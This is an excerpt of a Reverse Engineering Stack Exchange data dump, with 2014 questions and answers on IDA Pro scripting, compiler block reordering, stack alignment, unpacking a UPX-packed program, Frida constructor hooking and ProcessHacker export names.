  <row Id="3681" PostTypeId="2" ParentId="3676" CreationDate="2014-02-13T23:33:58.170" Score="6" Body="&lt;p&gt;DCoder already referenced &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/3169/245&quot;&gt;his own answer&lt;/a&gt; in a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chunks in the control flow graph are usually referred to as basic blocks or extended basic blocks. The reason why they are being reordered has to with &lt;a href=&quot;http://en.wikipedia.org/w/index.php?title=Optimizing_compiler&amp;amp;oldid=592712045#Other_optimizations&quot; rel=&quot;nofollow noreferrer&quot;&gt;optimizations performed by the compiler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several terms for what you are asking about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;function chunking&lt;/li&gt;&#xA;&lt;li&gt;basic block reordering&lt;/li&gt;&#xA;&lt;li&gt;partition interleaving&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I strongly suggest that if you are interested in this topic, you read up on compiler design. In particular I would suggest reading &quot;the dragon book&quot; (&quot;Compilers - Principles, Techniques, &amp;amp; Tools&quot; by Aho, Lam, Sethi and Ullman) and there the parts about optimization. Here I refer to the second edition from 2007 (ISBN: 0-321-48681-1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the sections 8.4 (&quot;Basic Blocks and Flow Graphs&quot;) and 8.5 (&quot;Optimization of Basic Blocks&quot;) and in the latter 8.5.7 (&quot;Reassembling Basic Blocks From DAGs&quot;). But that's only the beginning. Chapter 9 is equally important as a whole and so is section 11.10 (&quot;Locality Optimizations&quot;). Quoting one of the reasons for the kind of optimization you're asking about from the introductory paragraph of the subsection on partition interleaving:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;11.10.3 Partition Interleaving&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Different partitions in a loop often read the same data, or read and write the same cache lines. [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;quoted from &lt;strong&gt;&quot;Compilers - Principles, Techniques, &amp;amp; Tools&quot;&lt;/strong&gt; by Aho, Lam, Sethi and Ullman.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This boils down to what DCoder has already mentioned in his/her comment to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and the book &lt;strong&gt;&quot;Reversing: Secrets of Reverse Engineering&quot;&lt;/strong&gt; is also a good read that discusses this in part. However, it's more focused on the &quot;how does it look&quot; than the &quot;why is it done&quot;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-02-13T23:39:08.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostTypeId="1" AcceptedAnswerId="3761" CreationDate="2014-02-14T00:04:54.897" Score="2" ViewCount="787" Body="&lt;p&gt;Test platform is Linux 32 bit, ELF file, GNU coreutils.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I am trying dump all the functions using IDC script, here is part of my IDC script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {&#xA;    name = Name(addr);&#xA;    end = GetFunctionAttr(addr, FUNCATTR_END);&#xA;    locals = GetFunctionAttr(addr, FUNCATTR_FRSIZE);&#xA;    frame = GetFrame(addr);&#xA;    ret = GetMemberOffset(frame, &quot; r&quot;);&#xA;    if (ret == -1) continue;&#xA;    firstArg = ret + 4;&#xA;    args = GetStrucSize(frame) - firstArg;&#xA;&#xA;    dumpFunction(name, addr, end);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using it to test GNU coretuils, and I find some functions like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            public qset_acl&#xA;            qset_acl        proc near&#xA;&#xA;            jmp     chmod_or_fchmod&#xA;            qset_acl        endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which can not be found by this script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Could any one give me some help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-02-25T14:41:14.697" Title="Why this IDC script can not find all the functions?" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostTypeId="1" AcceptedAnswerId="3684" CreationDate="2014-02-14T02:25:11.427" Score="7" ViewCount="1072" Body="&lt;p&gt;I have de-assembled a x86 application use ida, it generates&#xA;the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:1084FF10                 push    ebp&#xA;.text:1084FF11                 mov     ebp, esp&#xA;.text:1084FF13                 and     esp, 0FFFFFFF8h&#xA;.text:1084FF16                 sub     esp, 0D4h&#xA;.text:1084FF1C                 mov     eax, ___security_cookie&#xA;.text:1084FF21                 xor     eax, esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the instruction &quot;and esp, 0FFFFFFF8h&quot; do here?&lt;/p&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="245" LastEditDate="2014-02-14T19:45:51.763" LastActivityDate="2014-02-14T19:45:51.763" Title="understanding the stack" Tags="|ida|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostTypeId="2" ParentId="3683" CreationDate="2014-02-14T03:33:07.087" Score="12" Body="&lt;p&gt;This aligns the stack pointer to 8 byte boundary. This is done by the compiler to improve performance, as reads from non-aligned addresses results in performance degradation.&lt;/p&gt;&#xA;" OwnerUserId="3574" LastActivityDate="2014-02-14T03:33:07.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostTypeId="1" AcceptedAnswerId="3692" CreationDate="2014-02-14T23:41:31.530" Score="2" ViewCount="2593" Body="&lt;p&gt;On Linux 32 bit, I use IDA Pro + IDC script to dump all the functions. Here is part of the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addr = 0;&#xA;for (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {&#xA;    name = Name(addr);&#xA;    end = GetFunctionAttr(addr, FUNCATTR_END);&#xA;    Message(&quot;%s:\n&quot;, name);&#xA;&#xA;    dumpFunction(name, addr, end);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Certain functions, like &lt;code&gt;close_stdin&lt;/code&gt; defined in GNU coreutils static library, can not be found in this script but I can find those functions in &lt;code&gt;File-&amp;gt;Produce File-&amp;gt;Create ASM File...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with my script? Can I use it to find out all the functions?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2318" LastEditDate="2016-07-21T13:15:54.383" LastActivityDate="2016-07-21T13:15:54.383" Title="Why I can not find all the functions using this IDC script?" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3688" PostTypeId="1" CreationDate="2014-02-15T11:00:49.813" Score="3" ViewCount="1642" Body="&lt;p&gt;I've instrumented an application using Frida.RE. I can hook the constructor of a C++ class of my interest, let's call this MyClass::MyClass(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to call the non-static MyClass::SomeMethod() on an object instance. To do this I need to have the address of the object instance so I can pass it to the method as the implicit 'this' argument. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to monitor the addresses of the created instances of MyClass?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some other way to call the SomeMethod() method of an already instantiated object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to simply record the 0th argument passed to the constructor with Frida (args[0]), but I couldn't access the &lt;code&gt;this&lt;/code&gt; pointer, only the first &quot;real&quot; argument (passed explicitly by the caller). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of two things: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Frida doesn't care about the implicit &lt;code&gt;this&lt;/code&gt; argument, or&lt;/li&gt;&#xA;&lt;li&gt;things are messed up because of the thiscall scheme used  in Windows programs (I'm experimenting on 32-bit Windows). I couldn't figure out a way to get the value of ECX with Frida though...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3814" LastEditorUserId="3814" LastEditDate="2014-02-20T13:40:51.083" LastActivityDate="2020-05-07T22:22:44.877" Title="Forcing a call to an object instance method" Tags="|c++|instrumentation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3689" PostTypeId="1" CreationDate="2014-02-15T11:25:53.173" Score="3" ViewCount="17610" Body="&lt;p&gt;I know it is a very newbie question and sorry about that, but I can't really find any way how to make IDA analyze the code after the unpacking was done. What I mean is that when I unpack an exe and dump it to a new exe file (using another software, not IDA), and then load the unpacked exe in IDA, everything works fine (all the API calls are recognized etc). But when I load the unpacked exe in IDA and put a bp on OEP, I just finish with &quot;unscanned&quot; code and don't know how to ask IDA to scan it and recognize the API calls. Thank you in advance for any help and tips.&lt;/p&gt;&#xA;" OwnerUserId="3785" LastActivityDate="2019-02-19T03:21:25.127" Title="How to force IDA to analyze a packed exe after the program has unpacked itself?" Tags="|ida|unpacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3690" PostTypeId="2" ParentId="160" CreationDate="2014-02-15T16:23:33.007" Score="4" Body="&lt;p&gt;The one stop solution for all pyinstaller exe things. Use this program to reverse engineer a pyinstaller generated exe file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/projects/pyinstallerexerebuilder/&quot; rel=&quot;nofollow&quot;&gt;https://sourceforge.net/projects/pyinstallerexerebuilder/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-02-15T16:23:33.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostTypeId="2" ParentId="3689" CreationDate="2014-02-15T16:46:42.853" Score="8" Body="&lt;p&gt;After you have finished unpacking the program and get to the OEP&lt;/p&gt;&#xA;&lt;p&gt;File --&amp;gt; Plugins --&amp;gt; Universal Unpacker Manual Reconstruct&lt;/p&gt;&#xA;&lt;p&gt;Fill in the info if its not correct :)&lt;/p&gt;&#xA;&lt;p&gt;Ok, edit for free version:&lt;/p&gt;&#xA;&lt;p&gt;Heres what I have done to get the program re-analyzed:&lt;/p&gt;&#xA;&lt;p&gt;UPX packed notepad.exe (easy to unpack)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;loaded packed file into freshly installed IDA Pro Free 5.0&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;unpacked via debugger till got to OEP&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once unpacked click: Debugger --&amp;gt; Take memory snapshot --&amp;gt; All memory?(maybe not all is needed, i used all, as i wanted to see if it would work)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Terminate process&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to OEP and pressed &amp;quot;c&amp;quot; to create some of the code&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Options--&amp;gt;General--&amp;gt;Analysis--&amp;gt;Reanalyze program (As suggested above)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait forever to reanalyze&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;OEP is of course not recognized, but the unpacking is done and some? / all? of the code is recognized by IDA.&lt;/p&gt;&#xA;&lt;p&gt;probably not the best way to do it, but free edition seems a bit limited. probably best do it via olly and load a dump into ida.  :(&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-02-16T17:42:03.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3692" PostTypeId="2" ParentId="3686" CreationDate="2014-02-16T06:41:25.637" Score="4" Body="&lt;p&gt;Your script is OK. IDA possibly doesn't recognize your function as a function during auto-analysis and that's a possible problem.&#xA;If you will go to the address of this function in IDA pro, press P in disassembly view on this address and rerun the script you'll possibly have your function dumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a very incorrect solution for this problem (incorrect means that it is not always provide good/correct results).&#xA;If you will pass on any non-function area and create functions automatically with the script below everything that was not defined as function before will be dumped with your script, but I'm not sure for correctness of these results. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#I didn't check this code, run on your own risk, &#xA;#use carefully, beware errors&#xA;&#xA;import idaapi&#xA;import idc&#xA;&#xA;segm = idaapi.get_segm_by_name(&quot;.text&quot;)&#xA;start = segm.startEA&#xA;end = segm.endEA&#xA;&#xA;while start &amp;lt; end:&#xA;&#xA;  start = idaapi.find_not_func(start, 1)&#xA;  print &quot;Attempt to create function at&quot;, hex(start)&#xA;  idc.MakeFunction(start)&#xA;&#xA;  start += 1 # for a case of any error &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-02-16T06:41:25.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostTypeId="1" CreationDate="2014-02-16T09:52:55.403" Score="4" ViewCount="1444" Body="&lt;p&gt;I'm trying to trace a system timeout (probably RPC related) that kills the debugging session. It occurs right after IDA loads and rebases an executable.&#xA;It happens only when debugging a 64-bit program using IDA's remote debugger in the same machine as the IDA cient. This on a Windows 7 SP1 system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the JIT option in IDA (though it refuses to 'stick') takes effect only for the current executable. Assuming it even gets activated, it doesn't trap this particular error since it happens in some other non-debugged routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still not sure how a JIT debugging would help in this case, but I'd like to give it a try.&#xA;So, is there a way to set up IDA as the system's JIT debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\AEDEBUG points to vsjitdebugger now but I'm not sure if and how IDA can be defined there instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any pointers.&lt;/p&gt;&#xA;" OwnerUserId="3937" LastActivityDate="2019-12-16T21:07:10.617" Title="How to set up IDA as the system's JIT Debugger?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostTypeId="1" AcceptedAnswerId="3698" CreationDate="2014-02-16T20:21:46.203" Score="3" ViewCount="635" Body="&lt;p&gt;So basically I use a IDC script to dump the instructions one by one using IDA Pro 6.1, windows 32 bit. PE file format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use try to dump one opcode instructions like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stosd&#xA;stosb&#xA;stosq&#xA;movsd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (addr = funcStart; addr != BADADDR; addr = NextHead(addr, funcEnd)) {&#xA; ......&#xA;auto code;&#xA;line = GetDisasm(addr);&#xA;mnem = GetMnem(addr);&#xA;.......&#xA;if (strstr(line, mnem) != 0) {&#xA;        mnem = line;&#xA;}&#xA;line = form(&quot;%-8s&quot;, mnem);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But to my surprise, when meets one opcode instructions like those, &lt;strong&gt;mnem&lt;/strong&gt; get things like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stos&#xA;stos&#xA;stos&#xA;movs&#xA;movs&#xA;movs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By checking the directly dumped asm file ** File-&gt;Produce File-&gt;Create ASM File...**, I find those error instructions should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stosd&#xA;stosd&#xA;stosd&#xA;movsd&#xA;movsd&#xA;movsd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means the results API GetMnem generated is wrong...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help? THank you! &lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2014-02-17T15:53:01.117" LastActivityDate="2014-02-17T15:53:01.117" Title="Why the API GetMnem can not deal with instructions like &quot;stosd&quot;, &quot;movsd&quot; in IDA Pro?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3695" PostTypeId="2" ParentId="3693" CreationDate="2014-02-16T20:22:56.323" Score="3" Body="&lt;p&gt;From an elevated command prompt, run IDA with the command line switch &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;-I1&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-16T20:22:56.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostTypeId="1" CreationDate="2014-02-16T23:15:04.973" Score="2" ViewCount="1307" Body="&lt;p&gt;Can someone explain me why a simple C++ application - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;int main()&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; &quot;Hello world!&quot;;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with MSVC 2012 looks very weird in IDA / Olly? Why I see hundreds of lines of ASM code instead of the few I expected? Can someone explain to me where all that code comes from? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3942" LastEditorUserId="3972" LastEditDate="2014-02-20T08:12:10.643" LastActivityDate="2014-02-20T17:20:58.343" Title="Reversing simple hello world in C++" Tags="|assembly|c++|" AnswerCount="2" CommentCount="2" ClosedDate="2014-02-20T18:14:32.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="3697" PostTypeId="2" ParentId="3696" CreationDate="2014-02-17T07:35:45.760" Score="5" Body="&lt;p&gt;One piece of code you use is #include  this includes:&#xA;&lt;a href=&quot;http://www.opensource.apple.com/source/gcc/gcc-937.2/libio/iostream.h&quot; rel=&quot;nofollow&quot;&gt;http://www.opensource.apple.com/source/gcc/gcc-937.2/libio/iostream.h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might spot the Class. This generates a lot of code, also you need to think about libs, default compiler generated code etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assemble a basic application with NASM you will also spot more Assembly than you wrote.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2014-02-17T10:38:20.530" LastActivityDate="2014-02-17T10:38:20.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3698" PostTypeId="2" ParentId="3694" CreationDate="2014-02-17T10:44:54.480" Score="7" Body="&lt;p&gt;If you take a look at the specific opcodes for those instructions, they are the same.&#xA;To be more precise, &quot;stos m8&quot; and stob have the same opcode (0xAA) as do &quot;STOS m16&quot; , &quot;STOS m32&quot;, &quot;STOSW&quot; and &quot;STOSD&quot; (0xAB). To quote the manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At the assembly-code level, two forms of this instruction are allowed: the &quot;explicit-operands&quot; form and the &quot;no-operands&quot; form. The explicit-operands form (specified with the STOS mnemonic) allows the destination operand to be specified explicitly. Here, the destination operand should be a symbol that indicates the size and location of the destination value. The source operand is then automatically selected to match the size of the destination operand (the AL register for byte operands, AX for word operands, and EAX for doubleword operands). This explicit-operands form is provided to allow documentation; however, note that the documentation provided by this form can be misleading. That is, the destination operand symbol must specify the correct type (size) of the operand (byte, word, or doubleword), but it does not have to specify the correct location. The location is always specified by the ES:(E)DI registers, which must be loaded correctly before the store string instruction is executed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And from the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/274.shtml&quot;&gt;GetMnem&lt;/a&gt; documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;note: this function may not return exactly the same mnemonics&#xA;  as you see on the screen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2014-02-17T10:52:12.240" LastActivityDate="2014-02-17T10:52:12.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3699" PostTypeId="2" ParentId="3688" CreationDate="2014-02-17T12:27:05.303" Score="2" Body="&lt;p&gt;First parameter of the constructor is the memory allocated for the object.&#xA;(Usually stored at r0 for ARM and thumb).&#xA;So the way to monitor it is simple: instrument all constructors of the class and watch the first constructor parameter.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-02-17T12:27:05.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3701" PostTypeId="1" AcceptedAnswerId="3702" CreationDate="2014-02-17T17:05:51.803" Score="3" ViewCount="556" Body="&lt;p&gt;Whenever I attach a process in OllyDbg v1.10 on my Windows 7 64-bit machine, I notice that the first saved EBP on the stack doesn't point to the very base of the stack. Instead it points 16 bytes before it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate what I mean, see the following screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VYfxb.png&quot; alt=&quot;screen-shot of OllyDbg stack window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EBP (highlighted in gray), which is right above the &lt;code&gt;RETURN to ntdll.76FC9F45&lt;/code&gt;, is pointing to &lt;code&gt;1B05FFEC&lt;/code&gt;. Note that this address ends with &lt;strong&gt;&lt;code&gt;EC&lt;/code&gt;&lt;/strong&gt;, not &lt;code&gt;FC&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; Why isn't the EBP pointing to &lt;code&gt;1B05FFFC&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; What do the first 16 bytes on the stack represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt; Is the number of bytes (16), which are between &lt;code&gt;StackBase&lt;/code&gt; and the address to where the first &lt;code&gt;EBP&lt;/code&gt; points to, fixed for Windows OSs?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-02-18T07:15:54.220" LastActivityDate="2014-02-18T07:15:54.220" Title="What do the first 16 bytes on the stack represent?" Tags="|windows|ollydbg|debuggers|x86|callstack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3702" PostTypeId="2" ParentId="3701" CreationDate="2014-02-17T18:19:41.057" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; Why isn't the EBP pointing to &lt;code&gt;1B05FFFC&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;1B05FFFC&lt;/code&gt; is not the base address of the stack frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason that OllyDbg shows &lt;code&gt;1B05FFFC&lt;/code&gt; as the last address in the stack-view is that it's the address of the last DWORD in the stack's memory page.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; What do the first 16 bytes on the stack represent?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, from my limited testing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When attaching WinDbg to a 32-bit EXE on Windows 7 x64, &lt;code&gt;[ESP]&lt;/code&gt; is the return address back into &lt;code&gt;ntdll!DbgUiRemoteBreakin&lt;/code&gt; from the call to &lt;code&gt;ntdll!DbgBreakPoint&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When attaching OllyDbg v2.01 to a 32-bit EXE on Windows 7 x64 or Windows 7 x86, the debugger suspends the debuggee in the middle of an executing debuggee thread, so the value of &lt;code&gt;ESP&lt;/code&gt; is whatever &lt;code&gt;ESP&lt;/code&gt; was in the debuggee's thread at the moment OllyDbg attached to it.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-17T18:19:41.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3704" PostTypeId="1" AcceptedAnswerId="3708" CreationDate="2014-02-17T19:39:57.633" Score="2" ViewCount="553" Body="&lt;p&gt;I use &lt;a href=&quot;http://processhacker.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProcessHacker&lt;/a&gt; version 2.33 to inspect the functions which are exported by DLLs in running processes. In the screen-shot below you can see a few exported functions from a C++ application, along with their Ordinal number and virtual address (VA):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2kFv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pretty cool feature of ProcessHacker, which I was not able to find in ProcessExplorer. However, regarding the entries you can see in this screen-shot, I was not able to find what do the &lt;code&gt;?&lt;/code&gt; (question marks) and the number, which prefixes the names of the functions, mean. Also, I'm not sure what the single and double &lt;code&gt;@&lt;/code&gt; (at) symbols in the name, followed by a group of capital letters or number, mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What do the symbols (&lt;code&gt;?, @&lt;/code&gt;), number-prefix and capital letter suffixes represent? How can one interpret them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; What does the &quot;Ordinal&quot; column mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt; Does the &quot;VA&quot; column show the offset of the procedure entry point, with respect to the base address of the &lt;code&gt;.text&lt;/code&gt; segment of the DLL? If not, what does it represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 4:&lt;/strong&gt; How can one compute the absolute address of any function from the Exports tab?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-02-18T10:45:22.260" LastActivityDate="2014-02-18T11:00:48.937" Title="How to interpret entries from Exports tab in ProcessHacker" Tags="|dll|libraries|processhacker|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostTypeId="5" CreationDate="2014-02-17T19:48:24.677" Score="0" Body="&lt;p&gt;Process Hacker was started in 2008 as an open source alternative to programs such as Task Manager and Process Explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href=&quot;http://processhacker.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://processhacker.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Licence:&lt;/strong&gt; GNU General Public License version 3.0 GPLv3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Language:&lt;/strong&gt; English&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Intended Audience:&lt;/strong&gt; Advanced End Users, Developers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Programming Language:&lt;/strong&gt; C, C#&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-02-17T20:24:51.460" LastActivityDate="2014-02-17T20:24:51.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostTypeId="4" CreationDate="2014-02-17T19:48:24.677" Score="0" Body="ProcessHacker is a Windows multi-purpose tool that helps you monitor system resources, debug software and detect malware." OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2014-02-17T20:32:31.380" LastActivityDate="2014-02-17T20:32:31.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
